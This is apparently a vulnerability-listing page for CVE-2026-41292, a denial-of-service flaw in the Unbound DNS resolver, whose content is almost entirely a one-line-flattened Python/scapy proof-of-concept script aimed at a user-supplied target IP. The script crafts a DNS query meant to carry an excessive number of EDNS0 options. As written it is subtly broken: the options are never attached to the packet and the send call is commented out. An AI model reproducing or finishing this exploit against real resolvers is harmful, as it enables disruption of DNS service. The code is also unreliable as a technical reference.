CVE-2026-41292 NLnet Labs Unbound 拒绝服务漏洞

import sys from scapy.all import IP, UDP, DNS, DNSQR, EDNS0 def send_exploit(target_ip): # Construct a base DNS query dns_query = DNS(rd=1, qd=DNSQR(qname="example.com")) # Add a large number of EDNS0 options to trigger the vulnerability # Unbound <= 1.25.0 does not limit this effectively, causing DoS options = [] for i in range(150): # Sending more than the fixed limit (100) options.append(EDNS0(opt_code=0x000A, opt_data=b"A" * 10)) dns_query[DNS].arcount = len(options) # Note: Scapy EDNS0 implementation might need specific handling for RDATA # This is a conceptual PoC demonstrating the payload structure. # In a real exploit, raw bytes might be crafted to ensure the options count is high. packet = IP(dst=target_ip)/UDP(dport=53)/dns_query print(f"[+] Sending malicious packet to {target_ip} with {len(options)} EDNS options...") # send(packet) if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") else: send_exploit(sys.argv[1])